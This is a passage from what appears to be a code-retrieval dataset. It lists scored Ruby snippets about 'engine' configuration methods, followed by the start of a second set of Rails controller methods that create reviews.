"docid": "ce07842cd292c1868bf03f42770087b0",
"score": "0.6410174",
"text": "def ensure_engine!\n run_engine! if self.engine.nil?\n end",
"title": ""
},
{
"docid": "5fb1363ec12387ab05b15f6e209d36f8",
"score": "0.64004856",
"text": "def current_engine\n @_current_engine ||= nil\n end",
"title": ""
},
{
"docid": "1d65e16a54aa44f851619427d1cea910",
"score": "0.6391625",
"text": "def engine_name\n options[:engine_name]\n end",
"title": ""
},
{
"docid": "ff9469597addd4a16c1bf59ae1155551",
"score": "0.6387776",
"text": "def autodetect_engine\n\n end",
"title": ""
},
{
"docid": "16cfb99d26d99e360b233e82810250bb",
"score": "0.63823634",
"text": "def initialize_engine\n end",
"title": ""
},
{
"docid": "16cfb99d26d99e360b233e82810250bb",
"score": "0.63823634",
"text": "def initialize_engine\n end",
"title": ""
},
{
"docid": "16cfb99d26d99e360b233e82810250bb",
"score": "0.63823634",
"text": "def initialize_engine\n end",
"title": ""
},
{
"docid": "4edd0e04c2f1c3d5a9a50d3c53c38dfd",
"score": "0.62533087",
"text": "def start(engine)\n end",
"title": ""
},
{
"docid": "5bd072fbe38af4dc1804043ffe7b979f",
"score": "0.6218404",
"text": "def engine(name)\n name = Template.const_get(name)\n rescue NameError => ex\n Log.warn ex\n Log.warn \"Try to use passed engine directly\"\n ensure\n trait :engine => name\n end",
"title": ""
},
{
"docid": "e653f77af88f6bbbcacf46ca8b753cba",
"score": "0.6187396",
"text": "def edge_search_engine=(value)\n @edge_search_engine = value\n end",
"title": ""
},
{
"docid": "7fa76d92dde9eb2bd75e95e3eac2a8d9",
"score": "0.61761",
"text": "def engines\n # Implemented in subclass\n end",
"title": ""
},
{
"docid": "fbac698def9a622dea1887556b850775",
"score": "0.61675537",
"text": "def set_engine_callback(service)\n opt = request_parameters\n val = url = nil\n if (in_params = opt.key?(:engine)) && (val = opt.delete(:engine).presence)\n if RESET_KEYS.include?(val.strip.downcase.to_sym)\n val = nil\n elsif (key = service.engine_key(val))\n val = key\n elsif (url = service.engine_url(val))\n val = nil\n else\n val = nil\n Log.warn(\"#{__method__}: invalid engine #{val.inspect}\")\n end\n elsif !in_params && (current = get_session_engine(service))\n if current.include?('/')\n url = current\n else\n val = current\n end\n end\n val = nil if val && (val == service.default_engine_key)\n url = nil if url && (url == service.default_engine_url)\n if set_session_engine(service, (val || url))\n engine_url = url || service.engine_url(val)\n flash_reset_notice(service, engine_url)\n end\n redirect_to opt if in_params\n end",
"title": ""
},
{
"docid": "0118565ff1438c7456c6f23752e40f93",
"score": "0.6165497",
"text": "def initialize()\n\t\t@engine = Engine.new\n\tend",
"title": ""
},
{
"docid": "45cd649f6c96bc4195cc1aa220deaf78",
"score": "0.61573124",
"text": "def engine\n return self[:engine] if self[:engine]\n default = controller.trait.fetch(:engine, Template::Ezamar)\n return default unless template\n\n Template::ENGINES.sort_by{|v| v.join}.each do |(engine, exts)|\n if template =~ /\\.(#{Regexp.union(*exts)})$/\n return self[:engine] = engine\n end\n end\n\n self[:engine] = default\n end",
"title": ""
},
{
"docid": "11041c81441635469e066bf2844613a6",
"score": "0.6111462",
"text": "def engine_info=(info) ; @engine_info = info ; end",
"title": ""
},
{
"docid": "2bd2d65b675a90469497002a8c741aed",
"score": "0.61030513",
"text": "def initialize(engine, tyres)\n @engine = engine\n @tyres = tyres\n end",
"title": ""
},
{
"docid": "a0a3b14560d204d92f6a4c6f1d764b5d",
"score": "0.6087856",
"text": "def engine(); return \"engine \";end",
"title": ""
},
{
"docid": "e07642421dd03f5eb59c53f5ee66e84a",
"score": "0.60758203",
"text": "def set_engineer\n @engineer = Engineer.find(params[:id])\n end",
"title": ""
},
{
"docid": "90da77b2b2c1d22d55925ed3ea9f2c0a",
"score": "0.60540915",
"text": "def engine name, &block\n engine = find_engine(name)\n yield engine if block\n engine\n end",
"title": ""
},
{
"docid": "bfe18ef250f42258ce38601755aae422",
"score": "0.6033729",
"text": "def register_engine(ext, klass, options = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "7c564a95b64092dd5113ec521118d8b8",
"score": "0.6002352",
"text": "def initialize engine, tires\n\t\t# @engine and @tires are instance variables variables\n\t\t@engine = engine\n\t\t@tires = tires\n\tend",
"title": ""
},
{
"docid": "a059c7493de6ca5fb84570faf0af4c3a",
"score": "0.5995485",
"text": "def set_car_engine\n @car_engine = CarEngine.find(params[:id])\n end",
"title": ""
},
{
"docid": "09c818d0dc02d64d04bd40d5af6b7f7f",
"score": "0.5984316",
"text": "def start_engine\n @engine_started = true\n end",
"title": ""
},
{
"docid": "466588ea14772fdbf69f18f3d5108541",
"score": "0.5969062",
"text": "def prepare_engine(params={}, &content)\n create_engine(params, &content)\n end",
"title": ""
},
{
"docid": "c8b019f27baba444dd336963c8dbaded",
"score": "0.59517485",
"text": "def deploy_hosted_engine=(value)\n @deploy_hosted_engine = value\n end",
"title": ""
},
{
"docid": "fd536c0ee7e30d71b8ce319e695fa80b",
"score": "0.59318626",
"text": "def default_engine_key\n DEFAULT_ENGINE || super\n end",
"title": ""
},
{
"docid": "3c9c8d37029349bc1f72752197171491",
"score": "0.59177643",
"text": "def backend=(backend)\n require \"shoes/#{backend.to_s.downcase}\"\n @backend ||= Shoes.const_get(backend.to_s.capitalize)\n rescue LoadError\n raise ArgumentError, \"Unknown backend: #{backend}\"\n end",
"title": ""
},
{
"docid": "0da4afc47a4182ad97ea674cfcd6594a",
"score": "0.59118587",
"text": "def engines\n @_engines ||= [:haml]\n end",
"title": ""
},
{
"docid": "de9ca835e300d02ac9620b3cdd82259b",
"score": "0.59113705",
"text": "def start_engine\n\t\t@engine_started = true\n\tend",
"title": ""
},
{
"docid": "ad228b7c639b4adac7e770484a2af7f9",
"score": "0.589027",
"text": "def engine_ext ext\n @__e__engine_ext = ext.freeze\n end",
"title": ""
},
{
"docid": "7c468d449d4fc3d4c1687d55036ec832",
"score": "0.58869195",
"text": "def engine(name)\n engines.find { |engine| engine.name == name }\n end",
"title": ""
},
{
"docid": "47d5444be38f71dc63637a2384453015",
"score": "0.5879284",
"text": "def engine_mode\n data[:engine_mode]\n end",
"title": ""
},
{
"docid": "37cfb22b8ab03019914004fa36a09ec1",
"score": "0.58705646",
"text": "def using(*args)\n args.pop.each { |key, value| @options[key.to_sym] = value } if Hash === args.last\n\n until args.empty?\n new_engine = Doc.select_by_name(args.pop)\n @engine = new_engine.new(project) unless new_engine.nil?\n end\n\n self\n end",
"title": ""
},
{
"docid": "65a749570055c27376a81f3263537e80",
"score": "0.5837388",
"text": "def engine\n type.deconstantize.constantize::Engine\n end",
"title": ""
},
{
"docid": "f0864efc231c3067910d906eca87edf4",
"score": "0.5829808",
"text": "def create_engine(params={})\n raise NotImplementedError, \"not implemented\"\n end",
"title": ""
},
{
"docid": "442d3f192f9a2b1a8e1b702ae6a3accb",
"score": "0.5824624",
"text": "def set_engineer\n @engineer = Engineer.find(params[:id])\n end",
"title": ""
},
{
"docid": "a2b32ef8bb52cc6bb05476290b0bc843",
"score": "0.5820686",
"text": "def require_engine\n end",
"title": ""
},
{
"docid": "7c37c518a224297fb576b1e8145d062b",
"score": "0.58184683",
"text": "def backend=(backend)\r\n @@backend = backend\r\n end",
"title": ""
},
{
"docid": "316b7e46987d55d832d5240995a54657",
"score": "0.5805562",
"text": "def turn_on_engine\n\t\tputs \"engine is on\"\n\tend",
"title": ""
},
{
"docid": "21b79ec0951d6cede4e7df38cbccd273",
"score": "0.58014387",
"text": "def set_interpreter\n @interpreter = Interpreter.find_by(id: (params[:id]))\n end",
"title": ""
},
{
"docid": "64060f1cbaab010f3e46cddf780a98f4",
"score": "0.5799151",
"text": "def engines\n @@engines\n end",
"title": ""
},
{
"docid": "4f909ef65a3d025a4fe429ac33e0cbcf",
"score": "0.5783935",
"text": "def engine_class_name\n @config[:engine].name\n end",
"title": ""
},
{
"docid": "bd3d22d311e1d9df3e05343005140491",
"score": "0.5774025",
"text": "def engine_ext ext\n engine_ext! ext, true\n end",
"title": ""
},
{
"docid": "1a3e0b37ff3241a0457b5f09903f7ef3",
"score": "0.576204",
"text": "def engine; INNODB; end",
"title": ""
},
{
"docid": "17d202af40f8f354ce097cac369786c4",
"score": "0.5759861",
"text": "def loadEngine\n # Do stuff\n end",
"title": ""
},
{
"docid": "88b067c333c727116a2224df604daae4",
"score": "0.5759823",
"text": "def set_engine(engine: false)\n container = {}\n if engine == 'singularity'\n container = {\n container: true,\n type: :singularity,\n repo: '/media/01-workspace/04-pipelines/rbFlow-Germline/Singularity/',\n mountList: ['/media'],\n optional_args: []\n }\n elsif engine == 'singularity_TSD_VM'\n container = {\n container: true,\n type: :singularity,\n repo: '/cluster/projects/p172/ghis/singularity-tsd/Singularity/',\n mountList: ['/tsd', '/net', '/cluster'],\n optional_args: ['-c']\n }\n elsif engine == 'singularity_colossus'\n container = {\n container: true,\n type: :singularity,\n repo: '/cluster/projects/p172/ghis/singularity-tsd/Singularity/',\n mountList: ['/tsd', '/net', '/cluster', '/work'],\n optional_args: ['-c', '--home /cluster/projects/p172/ghis/singularity-tsd/:/srv']\n }\n elsif engine == 'docker'\n container = {\n container: true,\n type: :docker,\n repo: '',\n mountList: [''],\n optional_args: []\n }\n else\n container = {\n container: false\n }\n end\n return container\nend",
"title": ""
},
{
"docid": "eca8bd3a1cdac03f5359a034ab036a4c",
"score": "0.5759389",
"text": "def set_engineorder\n @engineorder = Engineorder.find(params[:id])\n end",
"title": ""
},
{
"docid": "3a7b856f9f328b05e05d2a3527847295",
"score": "0.5756585",
"text": "def run_engine!\n\n return unless configuration.run_engine\n\n storage = configuration.storage_instance\n self.engine = Ruote::Engine.new( storage )\n\n @storage_participant = nil\n\n run_worker!( true ) if configuration.run_worker\n end",
"title": ""
},
{
"docid": "c15bc676f3307b98d795bff666835be1",
"score": "0.57479656",
"text": "def initialize(with_engine = Pigeon::Engine)\n @engine = with_engine\n end",
"title": ""
},
{
"docid": "d59f2903248892e9411a7c6ee0ae79ec",
"score": "0.5708403",
"text": "def initialize(options = {})\n @options = options\n Thread.current[:engine] = self\n end",
"title": ""
},
{
"docid": "c26b93fed8cb050a4224068e4df45505",
"score": "0.5695953",
"text": "def engine_class\n class_name = @name.camelize\n begin\n class_name.constantize.const_get(:Engine)\n rescue StandardError\n nil\n end\n end",
"title": ""
},
{
"docid": "52d7fa5a9fb859af0fd8628a776e0e13",
"score": "0.5671871",
"text": "def add_engine(engine)\n unless engine.configuration.id.present?\n raise ArgumentError.new(\"ConcurrentSearcher engines need `configuration.id`, this one didn't have one: #{engine}\")\n end\n @engines << engine\n end",
"title": ""
},
{
"docid": "c5e52aeba43be74167eeefe5c008b09d",
"score": "0.5670409",
"text": "def backend=(backend); end",
"title": ""
},
{
"docid": "b0f8b062b137dfae211138fa36ea0e6d",
"score": "0.5656633",
"text": "def create_engine(params={})\n opts = engine_options(params)\n\n #cached(opts) do\n ::Builder::XmlMarkup.new(opts)\n #end\n end",
"title": ""
},
{
"docid": "83ab2f83a76717980fd19b8a7055dad0",
"score": "0.5655879",
"text": "def backend=(name)\n\t\t\tif name.is_a? Symbol\n\t\t\t\tset_backend_via_hash(name)\n\t\t\telse\n\t\t\t\tActiveSupport::XmlMini.backend = name\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "441cff2ac636a5435909073f1b8d06e8",
"score": "0.56506616",
"text": "def set_compiler(compiler)\n @compiler = compiler\n end",
"title": ""
},
{
"docid": "5e59f217d9ea24e7e40c6cb5cd12b5bc",
"score": "0.5649886",
"text": "def enable_defaults!\n engines.all :on\n adapters.use :compiler\n end",
"title": ""
},
{
"docid": "9413ebfc7211cd1e687dd854d1e2f2f9",
"score": "0.5649812",
"text": "def ruby_engine\n if defined? RUBY_ENGINE then\n RUBY_ENGINE\n else\n 'ruby'\n end\n end",
"title": ""
},
{
"docid": "ef34f43cc2a28e4b701a9f98fa224194",
"score": "0.5633887",
"text": "def set_rules_engine\n @rules_engine = RulesEngine.find(params[:id])\n end",
"title": ""
},
{
"docid": "33cdc1b94008cfc115b39fbbe16302dd",
"score": "0.56229126",
"text": "def database_engine; end",
"title": ""
},
{
"docid": "33cdc1b94008cfc115b39fbbe16302dd",
"score": "0.56229126",
"text": "def database_engine; end",
"title": ""
}
] |
9756b564b83da001ab448968ddcfae28
|
Adds new review to db
|
[
{
"docid": "268abc44cae432d74a0bbeac9f9148e0",
"score": "0.0",
"text": "def new\n @review = Review.new(batch_id: params[:batch_id])\n end",
"title": ""
}
] |
[
{
"docid": "f41c6f715ec0aa3ffdccb1256371b29f",
"score": "0.7769358",
"text": "def add_review(review)\n @review = review\n end",
"title": ""
},
{
"docid": "3724b1c265de7b63cfa559bdc6606bf8",
"score": "0.7560579",
"text": "def add_review\n cheer_up = CheerUp.find(params[:id])\n review = cheer_up.reviews.new(review_params)\n review.user_id = current_user.id\n if review.save\n render json:\n {\n status: 200,\n cheer_up: cheer_up,\n review: cheer_up.reviews\n }\n else\n render json:\n {\n status: 400,\n cheer_up: cheer_up,\n review: review.errors\n }\n end\n end",
"title": ""
},
{
"docid": "f40fd06c1393f96ffaa953fa069a020d",
"score": "0.7536251",
"text": "def add_review(review)\n @reviews << review\n end",
"title": ""
},
{
"docid": "0f2d4bcc85707f5057b0c091aa2e0905",
"score": "0.74948126",
"text": "def add_review(review)\r\n reviews << review\r\n end",
"title": ""
},
{
"docid": "ea8e82c32f0a0643f03e96ba614d47ff",
"score": "0.73188865",
"text": "def create\n review = Review.new(params[:review])\n review.save\n redirect_to review, notice: 'Review was successfully created.'\n end",
"title": ""
},
{
"docid": "2ac93fcceba9e1f2a9d9c7b7869a1d10",
"score": "0.7311555",
"text": "def create\n @review = Review.new\n @review.owner = current_user\n current_user.reviews << @review\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to @review }\n format.json { render :show, status: :created, location: @review }\n else\n format.html { render :new }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ffe566cb8fce175b6f6037060ef275a9",
"score": "0.7234474",
"text": "def create\n @review = Review.new(review_params)\n @review.user_id = current_user.id\n\n if @review.save\n flash[:success] = \"Added review\"\n redirect_to Item.find(@review.item_id)\n else\n flash[:danger] = \"Review failed\"\n redirect_to Item.find(@review.item_id)\n end\n end",
"title": ""
},
{
"docid": "5e7eb76afbe8750f6d6c4dfcca009baa",
"score": "0.7217829",
"text": "def create_review(user, rating)\n return unless rating.present?\n review = RouteReview.create(rating: rating)\n self.review = review\n user.reviews << review\n if user.save and self.save\n review\n else\n nil\n end\n end",
"title": ""
},
{
"docid": "c419f9061802941546a18fdb045e1519",
"score": "0.71886295",
"text": "def create\n @review = Review.new(review_params)\n @success = @review.save\n end",
"title": ""
},
{
"docid": "44be2d93b1813bf60d6c5200466cf15f",
"score": "0.71503615",
"text": "def add_review(restaurant, content)\n Review.new(self, restaurant, content)\n end",
"title": ""
},
{
"docid": "7f5fa394297806871f3a255b38e72ab4",
"score": "0.7145188",
"text": "def add_review\n system \"clear\"\n input_metadata = @prompt.collect do\n system \"clear\"\n key(:nameofmovie).ask(\"#{Art.new.enter_movie_review} > \", required: true)\n system \"clear\"\n key(:person_reviewing).ask(\"#{Art.new.reviewer_name} > \", required: true)\n system \"clear\"\n key(:movie_time).ask(\"#{Art.new.review_time} > \", convert: :int)\n system \"clear\"\n key(:rating).select(\"#{Art.new.review_rate}\", %w(⭑⭑⭑⭑⭑ ⭑⭑⭑⭑ ⭑⭑⭑ ⭑⭑ ⭑ TBD))\n system \"clear\"\n key(:critique).ask(\"#{Art.new.review_comment} >\")\n end\n # if \n # @crud.get_review(:nameofmovie) == @crud.get_review(:nameofmovie)\n # else\n puts \" #{Rainbow(input_metadata[:nameofmovie]).darkgreen} has been added to reviews\"\n movie_review = {}\n movie_review = input_metadata.merge(movie_review)\n @crud.review_save(movie_review)\n sleep 1.5\n review_menu\n # end\n end",
"title": ""
},
{
"docid": "2e862755bbaef75804a59e5ad15c071f",
"score": "0.70706356",
"text": "def create\n @review = current_user.reviews.build(review_params)\n\n if @review.save\n redirect_to root_path, notice: \"Review was successfully created.\"\n else\n render :new, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "9b1673a37d721515f622214ca35d7406",
"score": "0.7066923",
"text": "def create\n \n @review = Review.new(review_params)\n \n respond_to do |format|\n if @review.save\n format.html { redirect_to @review, notice: 'Review was successfully created.' }\n format.json { render :show, status: :created, location: @review }\n else\n format.html { render :new }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "87b971d959b68a3d7101ec7d730253f0",
"score": "0.7053486",
"text": "def create\n params_review = { game_id: @game_id, user_id: @user_id }\n .merge(review_params)\n @review = Review.new(params_review)\n @review.save_review\n render 'show', formats: 'json', handlers: 'jbuilder'\n end",
"title": ""
},
{
"docid": "79662d4d59565f27fa0f86612341f176",
"score": "0.7035613",
"text": "def add_review(review)\n return unless review.is_a?(Review)\n @reviews << review\n end",
"title": ""
},
{
"docid": "8e4e57136af98901ef66b586f4b95298",
"score": "0.7024923",
"text": "def add_review(game, user)\n #how to create in active record\n # puts \"What's your username?\"\n # username = STDIN.gets.chomp\n # owner_inst = Owner.find_by(name: username)\n puts \"Tell me how you really feel\"\n comment = STDIN.gets.chomp\n puts \"What's that score?\"\n score = STDIN.gets.chomp\n #all above fills into a review\n Review.create(owner_id: user.id, video_game_id: game.id, score: score, comment: comment)\n #made global variable to use current_user.id \n see_reviews(game, user)\n #confirms that it was made\n end",
"title": ""
},
{
"docid": "e1574254af4f117a8e34969e41d4dbdc",
"score": "0.70189613",
"text": "def add_review(restaurant, content)\n Review.new(restaurant, self, content)\n end",
"title": ""
},
{
"docid": "88f7192464d713c66d1d79b24df81fd4",
"score": "0.70131046",
"text": "def create\n @review = current_user.reviews.build(review_params)\n\n if @review.save\n flash[:success] = \"Review has been added.\"\n redirect_to attraction_path(@review.attraction.id)\n else\n flash.now[:danger] = \"Review could not be added.\"\n render 'new'\n end\n end",
"title": ""
},
{
"docid": "837157cc5c9000e5c0ec681076c48789",
"score": "0.6998278",
"text": "def save_review\n Review.transaction do\n save!\n update_game_star\n end\n end",
"title": ""
},
{
"docid": "7e2996d6d2193f1c08c87ece3350868f",
"score": "0.69659173",
"text": "def create\n @review = current_user.reviews.build(params[:review])\n\n if @review.save\n flash[:success] = \"Review created!\"\n redirect_to root_url\n else\n @feed_items = []\n render 'static_pages/home'\n end\n end",
"title": ""
},
{
"docid": "b4d1f246e3afa6cce5524e81c48978b9",
"score": "0.6931458",
"text": "def create\n @review = current_user.reviews.build(review_params)\n\n if @review.save\n flash[:success] = \"Review has been added.\"\n redirect_to products_path\n else\n flash[:danger] = \"Review could not be added.\"\n render 'static_pages/home'\n end\n end",
"title": ""
},
{
"docid": "80f2dbc1cf0dbc0a49c5a9c9621442d6",
"score": "0.6925119",
"text": "def create\n _review = review_params\n @review = Review.new(_review)\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to @review, notice: 'Review was successfully created.' }\n format.json { render json: @review, status: :created, location: @review }\n else\n format.html { render action: \"new\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f6da63077477e38670489874f7c2679c",
"score": "0.69212973",
"text": "def create\n @review = Review.new(review_params)\n @review.user_id = current_user.id\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to @review, notice: 'Review was successfully created.' }\n format.json { render :show, status: :created, location: @review }\n else\n format.html { render :new }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "14950a45b4a0563f4237753a4758621f",
"score": "0.6917594",
"text": "def create\n @review = Review.new(review_params)\n respond_to do |format|\n if @review.save\n format.html { redirect_to @review, notice: 'Review was successfully created.' }\n format.json { render :show, status: :created, location: @review }\n else\n format.html { render :new }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2f4cd1ca525579f4af37bdcc8eb1c265",
"score": "0.69010556",
"text": "def create\n @review = Review.new(review_params)\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to @review, notice: 'Review was successfully created.' }\n format.json { render :show, status: :created, location: @review }\n else\n format.html { render :new }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2f4cd1ca525579f4af37bdcc8eb1c265",
"score": "0.69010556",
"text": "def create\n @review = Review.new(review_params)\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to @review, notice: 'Review was successfully created.' }\n format.json { render :show, status: :created, location: @review }\n else\n format.html { render :new }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2f4cd1ca525579f4af37bdcc8eb1c265",
"score": "0.69010556",
"text": "def create\n @review = Review.new(review_params)\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to @review, notice: 'Review was successfully created.' }\n format.json { render :show, status: :created, location: @review }\n else\n format.html { render :new }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e7ea349a029e024daec442cb7368949b",
"score": "0.6898569",
"text": "def create \n # binding.pry\n reviewer_id = session[:user_id]\n reviewee_id = params[:id]\n content = params[:content]\n @review = Review.create!(reviewer_id: reviewer_id,\n reviewee_id: reviewee_id, content: content)\n \n if @review.save\n redirect_to \"/users/#{@review.reviewee_id}/reviews\"\n else \n redirect_to '/users'\n end\n end",
"title": ""
},
{
"docid": "86f19b6e712b185425d6e5b56493340a",
"score": "0.68972075",
"text": "def create_review(reviewer_id, reviewee_id, review_text, rating)\n created = Review.create(:reviewer_id => reviewer_id, :reviewee_id => reviewer_id, :review => review_text, :rating => rating) \n return created\n end",
"title": ""
},
{
"docid": "77b390a736ddc7b40ca7f211e6193bed",
"score": "0.68909204",
"text": "def create\n @review = Review.new(review_params)\n @review.book_id = @book.id\n @review.user_id = current_user.id\n\n if @review.save\n redirect_to book_path(@book)\n else\n render 'new'\n end\n end",
"title": ""
},
{
"docid": "dd1f8e6bd817eb29a9fa20688980bdbb",
"score": "0.68889165",
"text": "def create\n @review = Review.new(params[:review])\n respond_to do |format|\n if @review.save\n format.html { redirect_to @review, notice: 'Review was successfully created.' }\n format.json { render json: @review, status: :created, location: @review }\n else\n format.html { render action: \"new\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "074ff5022d889511c2f36b7b04a365a1",
"score": "0.68861085",
"text": "def create\n @review = Review.new(params[:review])\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to @review, notice: 'Review was successfully created.' }\n format.json { render json: @review, status: :created, location: @review }\n else\n format.html { render action: \"new\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "074ff5022d889511c2f36b7b04a365a1",
"score": "0.68842906",
"text": "def create\n @review = Review.new(params[:review])\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to @review, notice: 'Review was successfully created.' }\n format.json { render json: @review, status: :created, location: @review }\n else\n format.html { render action: \"new\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "074ff5022d889511c2f36b7b04a365a1",
"score": "0.68842906",
"text": "def create\n @review = Review.new(params[:review])\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to @review, notice: 'Review was successfully created.' }\n format.json { render json: @review, status: :created, location: @review }\n else\n format.html { render action: \"new\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "074ff5022d889511c2f36b7b04a365a1",
"score": "0.68842906",
"text": "def create\n @review = Review.new(params[:review])\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to @review, notice: 'Review was successfully created.' }\n format.json { render json: @review, status: :created, location: @review }\n else\n format.html { render action: \"new\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b2084c5a376079b16c24c6fe73df96e6",
"score": "0.6881375",
"text": "def create\n\t@review_type = find_reviewable\n\t@review = @review_type.reviews.create(review_params)\n @review.user_id = current_user.id\n\tif @review.save\n\t\tredirect_to @review_type\n\telse\n\t\trender 'new' \n end\n end",
"title": ""
},
{
"docid": "cecc30041c04d42eb4c69312c395d1a3",
"score": "0.6876854",
"text": "def create\n\n @review = Review.new(params[:review])\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to '/', notice: 'Review was successfully created.' }\n format.json { render json: @review, status: :created, location: @review }\n else\n format.html { render action: \"new\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "750dfcc742b657b92ad5698a40a36612",
"score": "0.68673694",
"text": "def create\t\n\t\t@review = Review.new(review_params)\n\t\t@review.gym_id = @gym.id\n\t\t@review.user_id = current_user.id\n\n\t\tif @review.save\n\t\t\tredirect_to gym_path(@gym)\n\t\telse\n\t\t\trender 'new'\n\t\tend\n\tend",
"title": ""
},
{
"docid": "17d19038f75ae7b6903847e9cd145a2e",
"score": "0.6861324",
"text": "def create\n @review = Review.new(review_params)\n respond_to do |format|\n if @review.save\n format.html { redirect_to @review, notice: 'Review was successfully created.' }\n format.json { render json: @review }\n else\n format.html { render :new }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fa5cf8f2236bee9dc7fcfe75e458235f",
"score": "0.6855872",
"text": "def add_review(restaurant, rating) #works\n Review.new(self, restaurant, rating) #go to Review#initialize\n end",
"title": ""
},
{
"docid": "67b3021c49d526fd85de6750e48738d2",
"score": "0.68524927",
"text": "def create\n @review = Review.new(review_params)\n respond_to do |format|\n if @review.save\n format.html { redirect_to reviews_url, notice: \"Review was successfully created.\" }\n format.json { render :show, status: :created, location: @review }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fa4a493cc1b797b1bb6abd4e1bd32749",
"score": "0.68487084",
"text": "def create\n\n # Associate the currently logged in user with this review\n # This way, the view is not cluttered with the user (they already know who they are)\n # The assumption is that there IS a logged in user\n # If not then this review creation should fail\n raise \"A review cannot be created if there is no logged-in user\" unless current_user\n @review = Review.new(review_params.merge(:user_id => current_user.id))\n\n # Respond\n respond_to do |format|\n if @review.save\n format.html { redirect_to @review, notice: 'Review was successfully created.' }\n format.json { render :show, status: :created, location: @review }\n else\n format.html { render :new }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n\n end",
"title": ""
},
{
"docid": "fb3f8505413a1bed9835c03f6291f71b",
"score": "0.68485314",
"text": "def add_review(restaurant, content)\n review = Review.new(restaurant, content)\n review.customer = self\n review.restaurant = restaurant\n end",
"title": ""
},
{
"docid": "fb3f8505413a1bed9835c03f6291f71b",
"score": "0.68485314",
"text": "def add_review(restaurant, content)\n review = Review.new(restaurant, content)\n review.customer = self\n review.restaurant = restaurant\n end",
"title": ""
},
{
"docid": "41d7bdffba535649678fc2cfbfc27ece",
"score": "0.6847923",
"text": "def create\n @review = Review.new(review_params)\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to @reviewable, notice: 'Review was successfully created.' }\n format.json { render :show, status: :created, location: @review }\n else\n format.html { render :new }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cb88c5d482a9d7453497becf230c4782",
"score": "0.6844474",
"text": "def create\n reviewable_type = params_root[:reviewable_type]\n reviewable_id = params_root[:reviewable_id]\n access_denied \"Cannot create a review without a reviewable_type.\" unless reviewable_type.present?\n access_denied \"Cannot create a review without a reviewable_id.\" unless reviewable_id.present?\n reviewable_type = reviewable_type.classify\n authorize_reviewable(reviewable_type, reviewable_id)\n @review.reviewable_type = reviewable_type\n @review.reviewable_id = reviewable_id\n @review.value = params_root[:value]\n @review.review_set_id = @review_set.id\n controller_save_record(@review)\n end",
"title": ""
},
{
"docid": "ad5c8da4380c1e269cc09443e1b1fa5b",
"score": "0.68394417",
"text": "def create\n @review = current_user.reviews.build(review_params)\n logger.debug(current_user)\n if @review.save\n flash[:success] = \"Post created!\"\n redirect_to @review\n else\n render new_review_path\n end\n end",
"title": ""
},
{
"docid": "172d46b1b9985bc6a7b99aac5e07eeb2",
"score": "0.68368006",
"text": "def create\n @product = Product.find(params[:product_id])\n @product.reviews.create(review_params)\n @product.save\n redirect_to store_show_path(@product.id)\n end",
"title": ""
},
{
"docid": "0f362b2462e16b51ac073a4038d6622e",
"score": "0.6829856",
"text": "def create\n review = Review.find(params[:review_id])\n new_user_rating = review.user_ratings.new(user_rating_params)\n new_user_rating.user = current_user\n if new_user_rating.save\n new_user_rating.new_rating_sequence\n else\n\n end\n redirect_to \"/reviews/#{review.id}\"\n end",
"title": ""
},
{
"docid": "12e7d4c9431e5ec0fb6ecbb798e96844",
"score": "0.6819819",
"text": "def create\n @movie = Movie.find(params[:movie_id])\n @review = Review.new(review_params)\n @review.username = current_user.email\n @review.movie_id = @movie.id\n @review.body = params[:review][:body]\n @review.rating = params[:review][:rating]\n\n if @review.save\n redirect_to root_path(@movie)\n else\n render 'new'\n end\n end",
"title": ""
},
{
"docid": "b5dd30c4950a249f28ad53fc879cb6d5",
"score": "0.68163854",
